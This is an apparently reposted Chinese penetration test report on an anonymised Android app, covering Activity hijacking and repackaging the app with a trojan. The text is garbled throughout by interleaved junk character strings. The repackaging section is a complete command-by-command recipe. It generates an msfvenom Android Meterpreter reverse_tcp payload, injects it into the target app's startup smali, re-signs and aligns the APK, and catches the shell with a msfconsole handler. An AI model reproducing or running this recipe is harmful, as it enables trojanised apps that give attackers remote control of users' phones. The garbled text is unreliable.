原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

; z5 R) M' Q1 L9 u# L! h" n! G ( c6 J" I* J% K. {$ J9 R

3 O* a9 v3 T, z
, v- j3 N3 a7 g

" D5 d! N' I; }- `4 h# e

; p2 @' y+ ]# s' H( u. }0 f, x }- m7 G+ u2 T8 K% H

3 f. @1 W# X8 n& G! ^* @! q 文档编号：               

6 U: n/ ^$ q" \ 3 p$ ^+ d2 Q! p% x7 P

l. Y0 f( ^7 ]( c# H 6 N" U2 I4 I$ \# @" W4 W# j   . F+ W, g; i2 o& V( H * W6 D; `% [& @: R

0 k# T {% e1 j. h1 [5 F; Z: U [, k ' y! Q1 c5 o) w3 B

4 F8 O: R6 V( W0 z4 t3 ~9 J; v 6 Z7 {8 y, t0 l! E* W1 |   ) \( ^ x- _) M. l4 v) L

& @5 W; ?% l0 O) J" [ 5 t9 D. l. ]4 r

. N6 t- c- `/ F+ Z$ F7 q& e" p 6 O) H# B) b0 t! e; f/ k8 _' N  

; @% h/ |/ x/ ^

; Z4 X+ I) x% t* b   : x' _; W7 Q# u4 Y! ?

 

& s. l2 M" [% }- F7 p9 L, f5 x) E

7 k/ I/ P2 Y8 S y' R 某某某APP渗透测试 2 E8 ~1 |& N4 `6 F 8 Y! ]7 E9 V* p( J% Z; s

; l! ~% H1 }0 { ( u1 {1 v# I7 E2 S/ k) z# e   3 M1 Z, B& h% K f4 { V- b6 J* s8 S" d

 

, l0 |' O, y y. W

O( t0 a. L1 Y5 z   , \0 I( V6 l! e9 ^6 ^- U

- E! b# T2 w% z/ I9 C

, a+ C( o4 J( X& f- h9 N7 _ " \7 r3 s& [. `# e9 c# i; N! O* c   2 I" @0 _0 h' r+ B2 V

$ t3 P! V# u" v+ a 8 ^. I! _: \ p! o

9 U( j% _ M& U# `% _ 技 术 报 告 ) w# o9 f5 S. T

. k& u9 K( a1 p 6 c: H5 B# h/ J9 w( ]9 G

) N- Z9 c, J7 _5 F. }+ i8 x 9 _" D3 P3 O& B8 h; }7 U# U, I   4 G% @3 K5 a9 z, A/ X+ C0 w

$ c& g; [; u" T' _' C6 i

 

/ x; G: `' a( ~+ N. [

! V g+ b5 v. Z [' E# U2 x) F( Q, E  

* m4 H4 ?( H/ y$ j, z! _. a" k7 b6 u   " b% a: \. c! J8 v* ?( {

. s7 a! `3 i' o

' ^5 r( x* \2 {" a( t* W1 O   " U2 O M8 n6 V3 F' }+ a, n) v5 p [

7 q$ O/ [1 u7 {6 O$ C

, B0 {( z/ g, R, }. e  

# b/ _$ m$ `4 o4 v, H

8 b- @4 I% k: v/ r: `  

6 {4 p6 K% y' O1 o. J+ g

  $ R+ u- w6 {* O$ U w

& J9 b; x8 j6 I3 Q" F& N" o

# U7 R/ [: l6 U/ f2 m3 w  

/ `# c7 }6 r* }9 O9 ]

  ; O) I4 V1 v3 I0 H1 a 6 p. U6 I. K5 v

0 x. `) e9 U# Y7 M, Z- Q 1 y5 \% Y3 k( V' p" E   : Z/ ]" J8 b/ b5 E K" K

7 Y/ \ Q2 v7 H# ^! [% z% ]; s6 ~

" }$ u* E- j; `/ |0 W   ) ]) M1 c U; _, v

- l$ n! \2 v& E s

1 O2 B3 L+ w, x3 s / B+ |0 S- p5 y9 N }. i/ l9 G1 b5 P   1 E: [2 ^3 w& l

. N" |& @$ Z8 a1 Q# E& c# U : [8 B( T3 r5 l, T

' ^" P5 q. d5 G4 u5 L: l % G G6 |! D- c. k  

& X9 p* @+ n2 z) n, k# O _

* i+ [3 @2 z% m( u: S: A   s8 b( z+ a1 n! I5 g& W, l

" t9 ~' x7 _8 {# d1 T }+ } \/ h4 A1 q . v* ~' E8 V$ J1 J3 C) Z1 o

  / N) V2 o3 s; J9 }. d* o& D7 w" A, @ , W* X( I% R8 P, ~/ C) W$ _. T

  1 R* @8 a7 W" s1 P5 T

9 P3 [1 j9 H R @& G

5 U! H# ~3 i/ c. V/ \% W- M% c   8 c- k' t, I- p9 S# S8 z( O: `. [- r ! b$ R1 X' K5 |" \8 |

# N- a3 |% U' {& n6 o/ K # G5 ?/ E7 s& `2 h 二〇二〇年 % Y- y( J5 a% S/ n

9 \! X& b6 n V& v

9 c7 i9 l8 t2 N7 E* [: p" z
& p v& `+ x6 c; M " M/ F% ~9 D- [9 x/ w 0 O3 J8 [- d. s9 f/ }

' E& h9 Z0 u u3 s7 v! g; L

5 t# {' y( ?2 J. }: U* M V! ^) e. T
% v% \( ]4 v+ T6 |* M2 Y! f7 | 0 J2 ~& H) o/ w# {7 g/ k / ?. `" Y% s5 k. F! c8 o3 v

: J4 V' m7 C/ q( r

5 a, I2 c; w3 h' x. a# f2 y$ v 目 录 - b- H9 P1 N5 J7 T5 J( o % F+ k {7 f. R$ u+ H- L

3 h! }! d ~) Q' p: [0 e* j 7 w5 l$ w8 I. u$ _, V8 r' H

  6 R. h+ C! k8 Y/ s4 S( V& B - `( c- s5 i2 E" U' X

" Z' o4 c8 |+ r3 i" h" i1 U * k' j U* N) @2 L" j 1 概述... 3 5 T* i# p1 S! d% `& | ( I! b5 G; F2 n7 x0 I% s

- r- Q# K. B+ t5 R: ]8 L

) Q }. v5 u# _6 G9 U1 b R ( }/ A9 Z! A, @$ v1 _ 1.2测试时间... 3

( w! {1 ^( X' ?$ s4 g , d0 _9 p8 b6 S) C1 U

2 Z2 T$ d% V: z2 E: x! x$ H+ R 1.3测试对象... 3 : }$ ^- C8 z8 A, y & g1 a$ R; F. L$ t6 p

5 M4 v D! I S

) x7 R) b$ ]" q/ ` 1.4测试结果... 3 $ F1 V w/ A; q% m* p

% T$ F+ a* A5 c8 k8 G D

9 m2 I, }0 e8 n8 \/ g8 c 2 检测结果... 4 ! O* t/ M" i2 _( B3 T/ y

1 r) T m/ y* F5 s! ^) z- q

- z9 U, @9 v' H7 L i# S 0 x3 \8 @' g5 O- l, @ 2.1 某某某... 4 ) N3 \* B+ A1 [

; H& j# T. A6 H1 b+ U7 D3 D

2.1.1检测目标... 4

' W( `7 N( c( C( R. I `6 i, C 2.1.2检测结果... 4 L) d9 y$ z9 l' X+ Y# _: u # L/ l4 S8 L; l1 G

7 {$ g" t& e; e" u3 E# J' r) E % U% g0 x, V& w' \/ |3 v: F

2.1.2.1. 4 6 k0 c" V" K# J2 q- p2 }- B

w; A3 \- g+ I e9 O" W

0 L. S" S, h( U2 U1 K' f 2.1.2.2. 6 9 T/ v4 O8 z( m) ~

# N, u$ P( m( P; t4 |) M7 P6 {3 ^( W + |5 m$ C8 n7 B7 G2 i* F" ^

# f9 t" q2 ]. c R

, s+ g1 ], k# L# M! ]

0 F! @. @% F, R4 H 9 e9 r2 P" [0 @ 9 f( u- g% h/ E- D* o1 H

8 F* s4 q) ?) u* a% W0 m 1 概述

0 B. f2 `. n1 f+ O& P1 ?* ^ 7 X% @& |3 X3 L$ l# g9 b

( L" v% |" V0 r3 ]3 I 1.2测试时间 1 \8 ]# ^# X0 \3 n7 O. U, q$ o " \) h9 l' r) s! f) o6 O' o

" T4 H3 n6 t# k9 p 6 W; @' V" W( @1 b L r# q4 \& Y9 h& k" `8 V, g: R+ ^3 ^/ I& D o+ b, G9 V+ F% o# K% y2 m0 r' Z4 {' ^4 V9 Z( m4 N/ O0 ~" ]) v, w0 ?4 g( p m2 [! P) B% Z- i- r, S% z7 f& R% j/ ^% \ W/ P' S" h0 S2 d- C; f( A9 h9 A$ v2 A" W+ S! p# ]) p* P' d& Z9 G7 Y) T% k

, y) X4 n# o3 q+ y 渗透测试时间 1 M* i( d' V. `2 g" f# T4 N8 d - Y. Q& i' L# Q4 W/ G) |
, f% i) I2 B6 D2 `; x 起始时间 ; V( f) e- t5 t% h4 ]5 u $ T6 ]: m! D1 o- W* O5 s & ^0 c: S# j' f 4 X3 o& g' G" E- T, M	6 A9 x" c$ |; J; I - h" Q i- w2 |; S1 R + ~& [4 @" a/ s * s4 {, D; x. _2 N7 j9 D- {$ h 2020年4月6日 ; ^; k$ Y+ E1 L2 ~, m2 F- ?9 y' n. o( t
" q+ {+ ]/ ]9 {/ r! a4 L: I 结束时间 . B' D' k- t3 E' q& ? M9 k, u/ w	9 a2 Z" U! r9 g$ J 7 Z3 u" R. d r2 {) J; o 2020年4月9日 # C2 Q4 Z) T c# u , Q c( X f$ ~* r 9 Q' o7 c% _/ D5 m8 g1 e

( S$ D( [1 ^- y' z% p0 t* g2 X/ S+ y

. |! B; ]( o( f( n 1.3测试对象

* F" B% |, s- @7 j( k& G

' F- y2 y2 T5 r3 ~2 v7 |6 H / I2 @3 e! h1 W/ m; f3 V! N8 N: k, o 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 6 x, n( J) p+ {4 [$ k

" _% t# e. w- {9 @$ d- z8 P9 d J

]9 K: K$ g6 D* r9 W + C) h( e H8 J+ N" b 表1-1 检测对象 * M( a# o; i7 d7 y/ p 0 C( O) X; R( }5 I7 `2 x! w

) M! h ]2 z: o* O + T/ b& r% x6 F3 x$ n8 R% x; y' u) {1 I, v8 L' [2 H' V! ^. q0 G) | Z' o# r9 k" e/ i3 w3 Q. b1 q# }! h1 n$ a! |; }$ r# Y3 K5 s7 Y& \4 D$ a* O2 C! o; z6 E! [. A2 ]* ]# [+ `* G1 C- i( P" n: V7 [. }2 k u4 i: P7 m' X& _$ P$ b3 R4 o1 }6 L0 H$ u& H1 u" [. h% a0 |4 Y5 w$ b+ Y. e0 c+ P( O5 U( X9 Z8 F3 t* F4 i4 Y4 S7 c s7 K: J. j2 e

: S) z5 N4 _$ ^3 U * J# I7 w+ v; Y6 J t0 ~ : I) l2 T$ {! E1 J9 J7 @$ b5 v+ p 序号 * i! D% D6 z" g) w	测试对象 ; G* D3 {) z, e	: @1 F1 b0 C3 r 测试地址 + x$ U+ ^: T; c; t @( t/ y9 S 4 b7 N5 g( |6 D7 k% K4 I$ h+ D / X3 S- H3 t- B N8 M' K7 U) Z8 T	, c# V# O; \$ n" n" H V a% ~5 F9 ^" R; c 安全漏洞 3 x) I& O, Q/ q/ y5 t& D1 O" }
6 F' b5 j7 X$ S' H9 k ' E& i# ^; s6 F' E( o% R! L : e6 q' ?1 B4 u' t 1 4 I* }- F$ _ {$ u- z	某某某安卓APP $ T6 R7 {2 o9 @9 ^# W8 j) S$ [ 5 k0 H7 |: i5 F- v. t 0 z# m, k* {- y$ j' T# E0 E+ @	; J, s; a0 n/ s) {$ N, ?" M	* q1 K6 h8 ^/ K & }2 B, L/ K+ ?1 Y; s/ k 7 x- P* k) Y2 P6 u0 r, b; P$ z ( Y V! K* g% B" B 2 4 t6 d, y) Y" U2 r* S* L ^$ Y9 C7 T- T6 [. h# D0 ^+ Y 9 u* B1 F' W9 e; y; Z! k3 ?- n " K6 | R: |& Q3 }

6 |7 k3 ]5 N5 @! M5 N: b1 D$ X% G

1.4测试结果 1 V b. M. s! T4 w$ z: M

% i+ w' G; K3 w% V% K ) @% v6 p! r: `2 T* p 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 9 N4 \0 h) \, k& S 2 ^' e6 P% t: h0 Z Z% {. l k

( P5 e F! r* H5 {1 D1 y 5 p" Q: O% n. _! }6 c7 p

. S5 h+ d6 C' ~2 |" C" d/ R  

8 Y, g+ n# `3 K _$ n $ N2 ]6 l4 m9 s! }: I; u' s5 T. p4 u, N4 D- b" D0 t" M% F, B* ~3 ~; K% G3 Y$ V$ q4 I# g, s) B$ ?, }- }' J7 U, t. ~" U, _' O/ T" u U4 a! |" I* B! W7 ~3 E+ m9 q# o6 y4 a4 n( r3 J& ^# ]! l; c) \5 |% I, b# I* _, K0 O3 i' F0 x6 i! m* k0 d7 D( t. c1 x' T% h2 B, B1 m' y+ y: t1 ]$ i5 G2 {! }- t/ ^3 t3 {6 { E- H2 X8 ]1 d% s+ d7 V' l/ @: r+ W G' X5 {; M3 n4 f5 H. S B I7 |7 C# K2 M+ n. N( f k+ i" b% s4 v2 K4 [' l: g S8 f# h( U- R4 k+ Z" o: n5 B' n8 @8 U$ q; N) a) Y' ]; N/ t9 l( a& ]% n

6 H: a# _9 D) N7 G3 R2 F ' ]. Y$ B0 X+ {; Y) \" M3 n 序号 $ P# ? _! J6 a) s/ d9 {5 R) Y	* j: U/ q1 }4 N% L; J# E7 N 4 k+ Q! T s6 \* W 9 l+ T2 J2 Z9 {7 {2 J9 P 系统名称 ( K% U" k& d4 [0 M ; |, M; W1 ` v, I* A+ d* v	# m! O: x$ F9 V( ]0 s# o $ h$ i' \4 T/ \& L& q4 }: O# Z# k . U/ m3 I) h* D( `" h 漏洞名称 0 f5 N6 c9 i, [. k$ @	漏洞危害 " m4 v) y0 @* g) v" w - l# \) ~$ F# d ! `- @4 Y t3 `6 @ 7 ~' r8 c4 w- I) v* ^: }/ e' u	修复结果 ' O2 l9 v1 q0 `5 x% i% g ) O' E4 F$ _5 n2 d0 L8 b! b" W
5 Z% `: r& W4 {# f+ i1 ]" g$ w 1 6 |$ Y+ ~4 `. p5 B! L2 J$ h 2 y* Q6 T" l; {) A$ J3 D 3 q' k, ?4 A+ i- q. _5 ?( j! v	# X0 k0 [. V# i! n ) j* O4 U( t% S 3 ?& _. N; p c 6 ?$ z$ ^) V. M' }* S2 D 某某某某某某APP + u f/ ?6 _9 z) \6 d2 Q7 ? 0 W4 {: y U* S/ U, h4 V & l4 i4 e1 E% k v% l' A/ V - N$ H0 d, _' A	5 b! C+ t0 n1 s0 J7 Q5 p: J Activity 劫持 ' U0 W7 G2 E; n" Q# {9 g . w; j* q) _) P* X3 _! D- d5 b - o: _( i2 m+ B# X   0 I6 ^3 s% T: K2 u' j4 l 0 Y& E1 Q% B1 Z/ T: k0 ?	8 l4 P& l8 s4 L1 y: y- h/ d; w: O, h8 i0 G 高 : N9 o& z( [+ s* [( t* ^7 [7 j. v1 B	$ r* k4 N# V9 \& |1 h4 ~ * q8 k( ^, G6 i( q/ } 5 z# T# f _) I* k, s! Q: H   ( v6 ]# }9 u9 O& o2 `. H1 i9 ~ / x0 W3 Q- z# i( r- E5 r6 ^
8 _2 A- H( _5 C# h5 ^' p9 ~7 z 2 ) h) D. W3 J9 Q$ ]1 @' v 2 e/ G* v t+ S1 G- X	% H' S( E" Y ~, ?, U( i8 f ' k: v) [) R0 D& q2 S$ d 1 K" S5 l" s* z9 _# ~1 U 某某某某某某APP , f/ `+ [% x4 ~. @4 K# Y% T	% M5 _- N8 G. l* l7 e! D 9 K3 G3 m4 f9 r) Q. `/ r 反编译二次打包捆绑木马、篡改APP代码 ; R. Q( ~# H+ y6 `* p 7 ~) w" ^. C. ]	; K+ p; G: g% \+ F 高 e1 M& U! V) S9 f5 \: b / Q" r: V4 G" Y' a# m	) Q( `1 m, h3 q" [( D ! X0 O& y, `# e) z/ F) J% f) m : [0 ~2 @1 _2 t7 N   - k; f; X5 z( U& F: f3 {4 @ 9 B, C7 z2 w" X5 X+ [, h1 ?: B

) [" z) c4 L" X! K

0 g% L7 b4 p4 X, N) ?( W

, S, R/ m y4 Y, A1 } - T3 d8 H u) o% {6 u   & k( h- R% Y7 Y; u4 e+ V1 v2 H, a) U |, v' p N6 I, ` d

9 k6 C% m3 e' f( J5 v, A3 L1 W

, j$ d, \& o+ I; ?/ F; o7 s , U: X3 n5 d: x, { 表1-2 测试结果 " g, c: _8 W8 x- n# R" X) ] & {* {. W4 M: f: F. D% ^( [

, S5 o/ I0 F$ D6 e. X

5 ?/ E9 s" k! J4 f 6 J' i+ L7 c) ^+ w! m' I: \2 S5 p6 }+ I   " s& |8 e: z9 G% H3 N& q( `6 P

# T- Y% \$ ]& }1 G f : n e, d, h) t. C5 P6 @. S8 ^

9 g2 j: G m4 T l 2 检测结果                    0 [0 U$ h) M, I' ^ A5 z 9 }4 Y; O1 c- q

. p- s+ f3 I" j3 n6 e% W

4 e$ \& V) [0 e3 | 2.1 某某某 & ~1 c& o0 |' M0 W9 X

2 O& K0 w% C5 k2 ^$ X- R9 G8 S

8 N* @! @1 L9 x& T 2.1.1检测目标 ( E. Z5 u+ u% ]& c/ t) ?

+ W! x: A* f; E) w% s# U* n1 Q- ] ; L& i$ i2 Z- f9 y- q8 ?

目标地址： 某某某某某某APP

2.1.2检测结果 ! v0 o; a6 ^# y' ^ m

4 ~0 t& W+ _- X + X7 b: Q1 C) J) x# R* U 2.1.2.1 7 f- H5 k8 Z* i3 `! ?" G" M , o6 }( g9 O( G6 Q! w

8 |& _* t C: s/ Z7 L 漏洞链接地址：某某某某某某APP 6 a, N# ? p) d2 a! _: r/ g# G

  3 S7 I G: w# D' o

: `6 x2 f* H |. D% V! j

8 l. }( j2 ~3 I8 U4 c) Y' M 漏洞分析及取证： 8 P' D- o1 h+ t6 M ; p' O" s6 \( }

7 v+ \, _9 ?$ ]3 \9 f2 A                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： " ]2 t/ V$ s3 Q7 d! B% X3 ]

) v( M) @) L: v3 t' ^. s" P

" e9 d0 m2 P) N* F      1 z% t8 h+ g' w/ v9 H; J

. [& j0 o" V+ V) R5 e 1 i3 r! Y/ M, p- O3 r, L7 e$ S/ @* ?

                      , X* F" P! {5 c, {+ w% B

- \ O3 Z6 Y- Z- G$ O8 q2 T / x: d# X, p2 U! ~3 o5 R8 e 2 O% `' \6 _$ s5 L3 B) B2 f

/ E% P5 q9 q9 w9 J8 V3 J$ h, z3 X

0 d7 [6 O0 t; t4 |9 w5 U6 B

! f8 D% U# x0 u( X+ _ + j8 r( A! O3 I9 ?$ f R 5 @ _) T! |! W" y1 t1 [- \

$ h( ~. E" P; e8 S3 b& S

漏洞危害：高 3 |" U% U$ ]" F" l + e4 ?* x& T! r6 f& t( |

! c: Y8 \& Y# I! p ) w- a* T+ C& `9 n; o( f) _9 t3 i) B7 U( G% [+ Z5 W7 v* [" _0 L1 e7 p& g. e3 F5 c7 L! E4 \( h( d& o* o- J3 O& c8 a8 g. l5 V" Y; y1 T0 e: ?% E, ]% m1 q: h' M8 U s% \8 i6 r) H3 S1 X& z: d V; V( T- Q1 b- f* T* R/ z- g( d7 M. c- x$ w8 _# _$ k/ F6 ?$ l1 r& E g5 V3 ]/ N/ }6 f! O7 J+ ~

. E, H& {& U$ ]& |) t* G4 }+ V- Q 0 z( h" V8 F, K5 o* E: Q 严重程度 + o6 Q3 ]" c, u [( R ) X/ N. W$ Z7 a6 n # p. f4 P! J" W0 x& x% [9 U	, C4 P$ Q6 l$ z7 j: l! ? 高 6 V5 [( `1 j; I) N & |0 R( p; Z! A3 E7 k) g 5 ?* w3 z0 b6 ]( x$ P1 i2 A7 o	4 c) W8 f" y2 I& R ) ]$ N9 w1 M. b/ t' q + d1 k q+ C9 l B& ?( v3 W ■ $ K3 {$ q8 _' F. k- K' c8 R 2 X/ w j5 [+ V+ Z' }2 d	! f6 U5 R; a7 R/ |2 k* b% ~4 W , y Q8 ?4 C9 s, \1 q/ d& I 中 8 m4 C; m4 \0 w. k8 ? 0 \7 d3 i3 s: I2 i+ W7 u & l- n' B5 @( R8 r& I" W	4 l% M( I. P6 s( L; i ! y" K/ D. G5 k S - t. m; k$ f% Y/ M ! ]# _. T; ]- d* X4 Y   ' T) f3 s* p% a ) F! y- w5 x2 x8 G	! z4 f1 _. \% G 低 / d, P" F7 ~" l1 W% F ; V. p" s2 y% A" U5 j0 f % V1 t! M( A2 j& p5 V; T ~$ R	4 X3 A" S: a, _0 Y/ T: T 5 {9 j2 a% ~4 j0 _1 ~! J) R7 K3 r / C& A0 W' L' f   3 I: }1 @5 }6 o- W

" Z. I" ~- w5 T" |. N. ~$ L- b9 `

! r' ~- a5 Y6 Y7 k8 _2 A/ d1 s7 c

  7 ~/ X/ s& E3 P" K" C 5 a# L! C' I0 d( B' U. D

# ~) U4 t3 [0 M* I' K5 C1 x9 J 5 o4 N8 ^% C* A }

; |* {; u6 _# M% q 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 ; y; @! p7 L" b i! K# Y: {

1 P) X1 p1 d& V9 \

r; _$ d C, S( e' C: G, g          

* B" s+ d2 V. J" O/ _: m   4 P; ?- a/ t/ o" T. v/ g 7 S! B* [0 O; _: h. t

. X9 [/ D/ Z4 G. g: p4 ?* O9 s

+ e# ^) d1 q; T) S; u 2.1.2.2 # G+ N. U5 V. j( H% P

1 f' m% G7 h1 y8 u# ?0 @. q" q

; w( e& S v4 n0 ?* h ; o8 }: ~5 @% @4 q7 O 漏洞链接地址：某某某某某某APP . ]+ S# C! u! o) D4 B

8 X. {5 l! p) M( s

/ _. {5 m& c0 Q& I 漏洞分析及取证： % [3 N6 j; X' M' y5 }' K+ r 2 F: e" |% R1 e

: F! {* g0 X) {+ O# r m                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

/ f/ S( ~( W- j" \

5 Z: U' a1 c- z8 o: g. I& c 4 U* k3 ? Z% `# y, l/ U 用Metasploit 生成木马 apk 0 u2 u8 v# |4 R; r* h6 W) |( Y$ s$ a 4 z+ ?; t. F4 ?, m

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / N' k) s" E1 ]: I/ u* @7 E7 F

& M6 C1 o' P, e- }) {/ d. ~7 J 反编译目标apk和木马apk

/ V4 ?$ Y9 ?' t apktool d target.apk
. o3 g( m7 |! v0 r! a apktool d cockhorse.apk % T# z2 p6 J" V# _ ! x. z9 @: b1 ^; w' d6 ?6 w6 f

, I! Q! p# m/ \5 K9 G0 k' o; q3 p ' |# s* R9 P6 | [4 @

, R: \0 L) Z1 ^0 |# Y 木马 apk 注入目标 apk % {0 e6 ^2 `0 l$ K5 C' ]& ^

0 ]( `' P' ?% C9 i" G4 d5 l: q 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
0 n& @3 N4 ?6 E% S : T i" r5 S S/ _: C4 X9 G" X2 n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V - F# |, X) [9 m& |3 Y6 O

2 K0 F+ i! U a* t7 X6 l2 J+ Z

2 P! H, ?6 ~7 @7 h- K3 z6 V 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 . Y, o7 M4 m0 L. s. K! p

4 j# K9 l# _( f/ i8 Z& J : l( P% }( i) G0 F6 c

% p) G& _3 I+ q7 d! Q 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ' {) [" ?9 h( F+ n! |" r

9 b" M& C+ S9 C' Z # |! B' {- L* c9 m4 q; ]- B; z2 J

3 \) X# I. S5 o/ e. ?. S 回编译生成最终 apk 6 w# C% y2 {" |5 N( ~ C

& T! c4 b% y/ s8 S- T' R

重新打包

apktool b -o repackage.apk target_app_floder . K$ ~7 p/ o' ]$ H h% N2 K& b

: S$ X; H) ?& L8 U+ K' E0 k

" T" y( }8 K7 b) q1 }2 _ 创建签名文件，有的话可忽略此步骤 ; R8 Y' w7 e# J5 s * X% S3 m# V4 c! W1 p# c5 P

5 k" P/ F9 ]) Y3 T: Q- v ) N" r7 Y! o& ]$ ~; o keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

" W0 J" f1 f) E" C- R

6 a: C `/ p: V" q" d - x( L( f/ N- g# s 签名，以下任选其一 * n' t" @1 w7 e3 {' Q7 N( r

3 U% Z& g1 k: }0 ]% Q

" \2 Z9 B* K$ K5 Q# b 4 e4 u. j- N+ T4 d5 z. f/ z% Y jarsigner 方式

/ p1 ]3 E1 u( _* o+ N' t6 o

' e& O2 ` m4 q1 f( Z1 G - o5 ~: t- h( {8 H- k jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ) {, R+ Q& w" B0 ~# [9 E6 u0 M1 _ 9 f$ i) V( w l3 \' G3 B# W1 k) x

7 Y, a9 ~ C& R) a- K8 [

4 X8 B7 {1 h7 c/ @9 J& a# h apksigner 方式 ) i! X4 ]8 Y- j( H + x: w! W: K0 o# i+ m1 y6 m2 k

- F5 L; g! _) a* N6 l$ d% D5 {. E; z( X

/ b z& j* W7 ~0 s+ M apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk

/ k$ v7 Y' I. w: k- T1 h7 T 3 [$ v8 }. O0 ]1 Q

9 c$ j& e: u% b' o1 V# y 3 _" q! q% x2 t( f$ ~) q 如需要禁用 v2签名 添加选项--v2-signing-enabled false # h9 a. C5 E; a+ b

验证，以下任选其一 / N+ O7 ^; ~( O5 K 6 C6 \( _5 D0 I, o0 P$ G

' f( k' s+ t) A, L4 d & ]* _! S9 S" b) ^- T

6 j' ?3 K+ k ?3 R8 S5 Q 1 _$ _. R1 \7 N& i- d1 m) A jarsigner方式 0 e& Q5 |# @1 d/ L

2 U6 M. [: w: E h2 }! ]8 i& p3 ~

jarsigner -verify repackaged.apk # i9 C% ~# C6 s. N* X9 k

8 u y, t. X$ j0 T5 T! S6 }

apksigner 方式

1 ^* e3 a6 ^1 w! g3 w, @

apksigner verify -v --print-certs repackaged.apk : D! c& r7 w, \ ?0 ^8 C2 {7 H

2 G. `) J4 @1 D" ?% ^7 S7 B 9 j( K: G5 g3 T) W1 j5 U

' C$ g, b1 y5 Z keytool方式 ) g- ~# v$ I1 Y$ o m! M; o5 Z' ?+ {1 C

$ I/ d2 v$ |# j& [: B+ f5 G- X keytool -printcert -jarfile repackaged.apk # b" t4 e$ K& ~ Q" `9 n 5 W7 y4 a" W& }" \0 W

( e# F; c+ Z% r8 Y6 I% X+ N0 Z - H l4 G' w" u4 \0 i: B/ J

7 n |/ C+ w; T( t! |1 Z% f 9 U0 m, u7 x; ]7 \" m5 U9 ?8 G 对齐

字节对齐优化

. u8 \3 d/ E/ u0 Z1 v& l. N

" |/ ~+ _8 u3 j8 T% V $ K9 L2 S* g6 z. q) k zipalign -v 4 repackaged.apk final.apk 7 q) ~( d, }3 Z1 x7 C " A6 e8 M7 G1 r# n' ~% x6 J; O

! m' e$ O L& ?* Z3 ]

( X" l* O% R9 [8 T6 B g" { 检查是否对齐 # }3 g \1 Z/ m5 G ' Y; B, [6 H1 [& ^8 @7 I

1 l( ~, h! A6 J, _

; p* I4 o8 Z; h zipalign -c -v 4 final.apk 7 O7 ?* B) A- c

. w0 Y' E1 Q' Z. _; t9 w- I p; }

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 + d6 J+ c* f b: o8 Z0 ], z1 H ; \* u# i Q3 H

' r, k# M1 a( Q X* }! h; b

1 O" u6 a. l& D, W + Z, d+ D; n" r! k, I: j( E9 A 启动Metasploit控制台，配置参数等待上线 ; P* L; Z9 U: U* L" \! A1 ]3 Y

, I5 N$ S* f3 u& M6 T2 v0 s$ m ; n' a$ b# Z9 |4 m* ~* o9 w5 y, H( g

& f$ {" a e+ f8 F 在终端依次输入如下命令 2 D# z9 o- z" m5 ?* K8 Z4 C 5 h* q& q# I8 h- w4 G: m

3 g9 h1 `! Z( a y5 j2 y msfconsole ' g4 l$ }1 n% A" u( V! s7 t- I # s/ n3 J7 X% U1 m2 {4 Q* y

7 n. ?+ R e( E# `" L4 @# z, q 0 I; E2 S) d I s6 v use exploit/multi/handler : h. h, |: r3 i3 Z# }3 }( K" p1 b

* {5 f! ?" }3 h% i9 C7 j

' t2 s* k$ B3 j$ G5 g$ [ 7 |; |! \- o# j1 o$ H: b set PAYLOAD android/meterpreter/reverse_tcp 6 ~ G& _4 o* W0 O

+ V! Q4 d3 [8 L' M* i6 V + S) U; F( w; s4 r* y% w1 c

- }. T) u6 G. D set LHOST 192.xxx.xx.xx 4 `) C6 R3 ?3 X3 z- F

* r, p9 `/ C3 v; L6 K

0 `% G0 y% ]/ g0 ^% u - F$ ~4 v- [: T! o2 d set LPORT 4444 , S9 @! A$ Q" f2 s

exploit 1 c0 f6 C/ R5 I6 T+ }* g 9 o+ e, n" p9 [6 q1 s+ s( Y

3 w3 x( R1 A9 x! }3 D

. N4 J. q& f# }7 N2 A 9 J7 x! x& M1 R: I. J 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               1 c/ ~- n' Z' f& u1 ?: ^

% m( p- z" y3 a 漏洞危害：中 ( }. ` P! T. Y$ c1 X- S

$ ?6 N7 B3 _8 j$ t# w( x- _& ^ . R9 V; h- y0 |0 Y/ e

1 @& W7 ?% E, q9 s8 S% J 2 Q1 I5 A4 Y; B. ?+ f# e 3 e# d9 N1 F% Z3 Z: R0 u4 L+ R' }: P$ l+ x/ ^. K) c( L' k" P& p4 g* w) r0 o( v' P+ k1 N7 Z6 t3 v0 y; E7 L- T4 k: P3 K- N% i& W1 }+ u9 Y! n9 D; S& w R: d* Q* {; E# y7 X$ f# G. X4 q3 r0 M6 f9 X& q3 b- A: ?/ n0 u5 [7 K

